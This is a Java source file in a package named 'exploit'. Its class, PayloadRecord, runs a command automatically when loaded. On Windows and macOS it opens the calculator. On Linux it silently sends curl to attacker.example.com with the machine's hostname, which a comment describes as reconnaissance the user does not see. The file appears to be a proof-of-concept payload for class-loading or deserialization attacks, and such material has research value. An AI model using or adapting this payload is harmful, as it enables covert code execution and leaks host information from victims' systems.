package exploit;

import java.io.BufferedReader;
import java.io.InputStreamReader;

public class PayloadRecord {
    static {
        try {
            String os = System.getProperty("os.name").toLowerCase();
            String cmd;

            if (os.contains("win")) {
                cmd = "cmd.exe /c start calc";
            } else if (os.contains("mac")) {
                cmd = "/System/Applications/Calculator.app/Contents/MacOS/Calculator";
            } else {
                // Linux/Unix: send signal to attacker-controlled server (recon without user seeing)
                cmd = "curl http://attacker.example.com/ping?host=" + 
                      java.net.InetAddress.getLocalHost().getHostName();
            }

            Process process = Runtime.getRuntime().exec(cmd);
            try (BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()))) {
                String line;
                while ((line = reader.readLine()) != null) {
                    System.out.println("[Payload Output] " + line);
                }
            }
        } catch (Exception e) {
            System.err.println("[Payload Error] " + e.getMessage());
            e.printStackTrace();
        }
    }
}